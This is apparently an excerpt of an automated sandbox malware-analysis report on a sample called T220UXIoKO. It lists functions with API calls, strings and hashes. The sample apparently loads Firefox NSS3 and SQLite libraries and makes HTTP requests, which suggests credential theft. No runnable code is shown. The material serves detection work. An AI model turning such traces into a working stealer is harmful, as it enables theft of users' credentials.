Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 993bf499d123a5255188eccdc40236ff795b014f4c926924e053d2995b616fde
Instruction ID: 0875a2c36052a0a63c5e18a5472c79d1c7d6b1f1c1fe4584652fa8b6352f5d51
Opcode Fuzzy Hash: 993bf499d123a5255188eccdc40236ff795b014f4c926924e053d2995b616fde
Instruction Fuzzy Hash: EA5137B1D006219BDB21AF68EE44A9B3AB4FF4531CF186A35EC0E96B01F732D554C6D2

Function 6C7DACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DACE2
malloc.MOZGLUE(00000001), ref: 6C7DACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7DAD02
TlsGetValue.KERNEL32 ref: 6C7DAD3C
calloc.MOZGLUE(00000001,?), ref: 6C7DAD8C
PR_Unlock.NSS3 ref: 6C7DADC0
free.MOZGLUE(00000000), ref: 6C7DAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7DAE58
free.MOZGLUE(00000000), ref: 6C7DAE69
free.MOZGLUE(?), ref: 6C7DAE78
PR_Unlock.NSS3 ref: 6C7DAE8C
free.MOZGLUE(?), ref: 6C7DAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7DAEC7

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d0264f332ec31053390aa0d8edb7b6e082871fbeb2bf6c8384cf65db53826d3a
Instruction ID: dc10e7e46d6365a0f3f95942825600f109c4e5d77be3685c14eb9efd92a214e0
Opcode Fuzzy Hash: d0264f332ec31053390aa0d8edb7b6e082871fbeb2bf6c8384cf65db53826d3a
Instruction Fuzzy Hash: B451C3B0E052168BDF10EF68DA4666E77B8BB06369F254535D808A7B00D331F915CBE2

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,00921F00), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,00921278,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 004154A9
ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 6C81ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C81ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C81AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C81AE29

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C81AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C81AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C81AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C81AEA0

Strings

C_MessageSignInit, xrefs: 6C81ADE1
hSession = 0x%x, xrefs: 6C81AE01, 6C81AE11
(CK_INVALID_HANDLE), xrefs: 6C81AE1F, 6C81AE80
hKey = 0x%x, xrefs: 6C81AE62, 6C81AE72

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 42f94d32856504b85f721a78497d0735ae3e73ce85d838d88c0fe13475e4b27b
Instruction ID: bcaebca32cf3b7ba7732c3751ba6f7ad760976a12fb34053966e6ae1aea2f7de
Opcode Fuzzy Hash: 42f94d32856504b85f721a78497d0735ae3e73ce85d838d88c0fe13475e4b27b
Instruction Fuzzy Hash: E331D731709105EFCB21AF58DE48BEA37F5BB4571DF548839E50997A01D730990DCB91

Function 6C8B4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C8B4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C8B4CFD
sqlite3_value_text16.NSS3(?), ref: 6C8B4D44

Strings

no more rows available, xrefs: 6C8B4D2E
invalid, xrefs: 6C8B4CF1
another row available, xrefs: 6C8B4D20
out of memory, xrefs: 6C8B4C78, 6C8B4C9E
bad parameter or other API misuse, xrefs: 6C8B4D05
unknown error, xrefs: 6C8B4D56
API call with %s database connection pointer, xrefs: 6C8B4CF6
abort due to ROLLBACK, xrefs: 6C8B4D27, 6C8B4D33

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: fb79d5b6a87d18258edfb1cd232ae805d262bd7c8a3e8d4da69c3200b54bc395
Instruction ID: 542da60088a5c30ad84112393596eb35ba513d0024b106f3b90e05c18c0e21dd
Opcode Fuzzy Hash: fb79d5b6a87d18258edfb1cd232ae805d262bd7c8a3e8d4da69c3200b54bc395
Instruction Fuzzy Hash: 91316873A48914A7E7344624AB277A47361BBC2719F1A0D29D8247BF19C734FC16C7D2

Function 6C812DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C812DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C812E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C812E33

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C812E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C812E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C812E81

Strings

pPin = 0x%p, xrefs: 6C812E63
ulPinLen = %d, xrefs: 6C812E7C
hSession = 0x%x, xrefs: 6C812E0E, 6C812E1E
(CK_INVALID_HANDLE), xrefs: 6C812E2C
C_InitPIN, xrefs: 6C812DF1

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: e0811aaa1506cace15aba99b2fe7b647bc3cefdb8b97214df3264dd8e0c88697
Instruction ID: f9c46ce90fa60569b6ce52986bb8a98676734fb61a53d4b416446ef85f32b4a5
Opcode Fuzzy Hash: e0811aaa1506cace15aba99b2fe7b647bc3cefdb8b97214df3264dd8e0c88697
Instruction Fuzzy Hash: 3831E475609159EFCB20AB58DE4CB5A37F5EB4631DF148834E808A7A12DB34D909CA92

Function 6C816EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C816F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C816F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C816F53

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C816F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C816F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C816FA1

Strings

ulPartLen = %d, xrefs: 6C816F9C
C_DigestUpdate, xrefs: 6C816F11
hSession = 0x%x, xrefs: 6C816F2E, 6C816F3E
pPart = 0x%p, xrefs: 6C816F83
(CK_INVALID_HANDLE), xrefs: 6C816F4C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 481ebc372670a639495ce28a9d3597392809ca2e34c8a8a4f8d7754721e525cf
Instruction ID: a3ad9026577c0c88441877c33e89d2e351b4a0d3f322e6e194817144304196b3
Opcode Fuzzy Hash: 481ebc372670a639495ce28a9d3597392809ca2e34c8a8a4f8d7754721e525cf
Instruction Fuzzy Hash: 2831C435709105DFDB20AB28DE48B9A37F5EB4635DF188839E808E7A12DB30D949CA91

Function 6C70EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70EC8C

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70ECA1
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C70ECC5
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C70ED19
CloseHandle.KERNEL32(?), ref: 6C70ED28
free.MOZGLUE(00000000), ref: 6C70ED2F
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C70EC94

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: f00c97e8907704670805d45a7887885aae5b20e7800d1081527216a1d5dea891
Instruction ID: bd9597307a97e456805fa6d432688136a59072f5944d90b758402495094f08b5
Opcode Fuzzy Hash: f00c97e8907704670805d45a7887885aae5b20e7800d1081527216a1d5dea891
Instruction Fuzzy Hash: 0F21F9B57005189BDF00AF68D909EAA77B9EF8636CF108232FC2857741DB31AC05CBA5

Function 6C8B2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C8B2D9F

Part of subcall function 6C76CA30: EnterCriticalSection.KERNEL32(?,?,?,6C7CF9C9,?,6C7CF4DA,6C7CF9C9,?,?,6C79369A), ref: 6C76CA7A
Part of subcall function 6C76CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C76CB26

sqlite3_exec.NSS3(?,?,6C8B2F70,?,?), ref: 6C8B2DF9
sqlite3_free.NSS3(00000000), ref: 6C8B2E2C
sqlite3_free.NSS3(?), ref: 6C8B2E3A
sqlite3_free.NSS3(?), ref: 6C8B2E52
sqlite3_mprintf.NSS3(6C91AAF9,?), ref: 6C8B2E62
sqlite3_free.NSS3(?), ref: 6C8B2E70
sqlite3_free.NSS3(?), ref: 6C8B2E89
sqlite3_free.NSS3(?), ref: 6C8B2EBB
sqlite3_free.NSS3(?), ref: 6C8B2ECB
sqlite3_free.NSS3(00000000), ref: 6C8B2F3E
sqlite3_free.NSS3(?), ref: 6C8B2F4C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 9118ccc941891aca9ebb237c091db007be5051896df781278be735dfbe74d030
Instruction ID: 3eb8dbe8cc7b6cf0f5a259349d1ab17c2de8939aa4a1c73473e30608c88cb5b4
Opcode Fuzzy Hash: 9118ccc941891aca9ebb237c091db007be5051896df781278be735dfbe74d030
Instruction Fuzzy Hash: A96184B5E012098BEB20CF69DA88BDE77B5EF58348F144424EC15B7B01E739E855CBA1

Function 6C802C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C803F23,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802C62
EnterCriticalSection.KERNEL32(0000001C,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802C76
PL_HashTableLookup.NSS3(00000000,?,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802C93

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23,?), ref: 6C802CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?,?,6C803F23), ref: 6C802CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?), ref: 6C802CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C7FE477,?,?,?,00000001,00000000,?), ref: 6C802D4D
EnterCriticalSection.KERNEL32(?), ref: 6C802D61
PL_HashTableLookup.NSS3(?,?), ref: 6C802D71
PR_Unlock.NSS3(?), ref: 6C802D7E

Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07AD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07CD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07D6
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C76204A), ref: 6C7D07E4
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,6C76204A), ref: 6C7D0864
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7D0880
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C76204A), ref: 6C7D08CB
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08D7
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08FB

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 573cec3662557a400331184ca5b0cf8df1f9e4ce474e178a16f73e32a20cc112
Instruction ID: f3ad82638e1e54e9e74a460e6dcfe3aeee7590d12630d3a87b18bca322b385cc
Opcode Fuzzy Hash: 573cec3662557a400331184ca5b0cf8df1f9e4ce474e178a16f73e32a20cc112
Instruction Fuzzy Hash: 995127B6E00205ABEB209F24DD888AA7778BF1535CF158924EC1897B11F731ED64CBE1

Function 6C764C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CB0
PR_Unlock.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764D97
PR_Lock.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764DBA
PR_WaitCondVar.NSS3 ref: 6C764DD4
PR_Unlock.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764DEF

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 1ca6946c80159a11b6134ed1cac13dff1e4e402027c48ad6cc99762d8ff8103e
Instruction ID: c00713e11b88da0c374ff48f0242ca35bda134636493354cbffc5a9ad06d5953
Opcode Fuzzy Hash: 1ca6946c80159a11b6134ed1cac13dff1e4e402027c48ad6cc99762d8ff8103e
Instruction Fuzzy Hash: A8418CB1A18A15CFCB10FF79D298559BBF4BF06318F158A69DC889BB00E730D895CB81

